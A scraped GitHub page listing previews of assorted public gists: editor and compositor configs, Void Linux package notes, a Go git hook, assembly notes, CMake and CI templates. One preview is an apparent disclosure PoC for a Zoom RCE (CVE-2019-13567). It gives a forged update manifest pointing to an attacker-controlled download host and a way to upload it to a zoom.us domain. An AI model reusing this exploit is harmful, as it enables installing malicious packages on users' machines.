Skip to content

Instantly share code, notes, and snippets.

View mitinarseny's full-sized avatar
🪐

Arseny Mitin mitinarseny

🪐
View GitHub Profile
@folliehiyuki
folliehiyuki / init.lua
Last active January 22, 2024 06:43
River wayland compositor configuration in lua5.4
#!/usr/bin/lua5.4
--[[
NOTE:
- execp() needs 'lua-posix' package
- bitwise operands for tag mappings need Lua version >= 5.3
--]]
# https://voidlinux.org/usage/xbps/ is a handy site for docs that isn't linked
# from the docs page, for whatever reason. Gives good xbps-* examples
# install non-free repository:
sudo xbps-install void-repo-nonfree
# update the system; all installs failed before this:
sudo xbps-install -Su
# xbps is hard to type. Add these aliases to your bashrc if xbps-install is
@wbowling
wbowling / README.md
Last active January 1, 2022 22:33
Zoom RCE - CVE-2019-13567

POC - https://youtu.be/zGSLBDo3N7s

  1. Create a malicious update manifest with the Package-url pointing a server you control:
Check-sum=11111111111111111111111111111111;Check2-sum=11111111111111111111111111111111;Update-Option=1;Current-version=5.4.53932.0709;Download-root=https://aw.rs/z;Package-url=https://aw.rs/z/5.4.53932.0709/zoomusInstaller.pkg?t=atupg;Package-name=zoomusInstaller.pkg;Installer-name=;ahcab-name=airhost.zip;sipcab-name=sipcall.zip;codesnippet-name=codesnippet_mac.zip;fullcab-name=zoomusInstallerFull.pkg;
  1. Upload the manifest it to a .zoom.us domain, one example is as the icon for a new https://marketplace.zoom.us/ app (there are client side checks to see if it's an image but they can be bypassed): https://marketplacecontent.zoom.us//sMLaMgPKSw2SAfIfpYV1Eg/zqJOtwryQkyO_UMykn2OdA/app/4yr1OelsSIGCMOj5CvI1JQ/ZAS3dFjlS8W0jJt48Dy9fA.jpg
@radlinskii
radlinskii / pre-commit.sh
Last active October 5, 2022 15:56
pre-commit git hook file for working in Go. Be sure to save this file in your repository as `.git/hooks/pre-commit` and give it right to execute e.g. with command `chmod +x .git/hooks/pre-commit`
#!/bin/sh
STAGED_GO_FILES=$(git diff --cached --name-only | grep ".go$")
if [[ "$STAGED_GO_FILES" = "" ]]; then
exit 0
fi
GOLINT=$GOPATH/bin/golint
GOIMPORTS=$GOPATH/bin/goimports
@DmitrySoshnikov
DmitrySoshnikov / syntax.s
Created January 27, 2018 02:01 — forked from mishurov/syntax.s
AT&T assembly syntax and IA-32 instructions
# --------
# Hardware
# --------
# Opcode - operational code
# Assebly mnemonic - abbreviation for an operation
# Instruction Code Format (IA-32)
# - Optional instruction prefix
# - Operational code
@mxschmitt
mxschmitt / cmd.bat
Last active April 18, 2024 21:48
Golang example of cmd stderr / stdout merge to a single channel
@echo off
echo Stdout
echo Stderr 1>&2
@mbinna
mbinna / effective_modern_cmake.md
Last active July 30, 2024 03:54
Effective Modern CMake

Effective Modern CMake

Getting Started

For a brief user-level introduction to CMake, watch C++ Weekly, Episode 78, Intro to CMake by Jason Turner. LLVM’s CMake Primer provides a good high-level introduction to the CMake syntax. Go read it now.

After that, watch Mathieu Ropert’s CppCon 2017 talk Using Modern CMake Patterns to Enforce a Good Modular Design (slides). It provides a thorough explanation of what modern CMake is and why it is so much better than “old school” CMake. The modular design ideas in this talk are based on the book [Large-Scale C++ Software Design](https://www.amazon.de/Large-Scale-Soft

@mshafiee
mshafiee / .gitlab-ci.yml
Last active June 8, 2021 13:43
Gitlab CI Template For Cross Compile Golang Source Code
image: golang:latest
variables:
REPO_NAME: gitlab.com/***/***
before_script:
- go version
- echo $CI_BUILD_REF
- echo $CI_PROJECT_DIR
@arowla
arowla / Dockerfile.testing
Created April 20, 2017 17:56
Docker-Goconvey
FROM golang:1.7.5-alpine
USER root
ARG port
ARG app_path
ENV PORT=$port
ENV APP_NAME=github.com/smartystreets/goconvey
ENV APP_SRC_PATH=${GOPATH}/src/$app_path
@hivefans
hivefans / shell_output.go
Last active May 12, 2024 10:36
get the realtime output for a shell command in golang|-|{"files":{"shell_output.go":{"env":"plain"}},"tag":"bigdata"}
package main
import (
"bufio"
"fmt"
"io"
"os"
"os/exec"
"strings"
)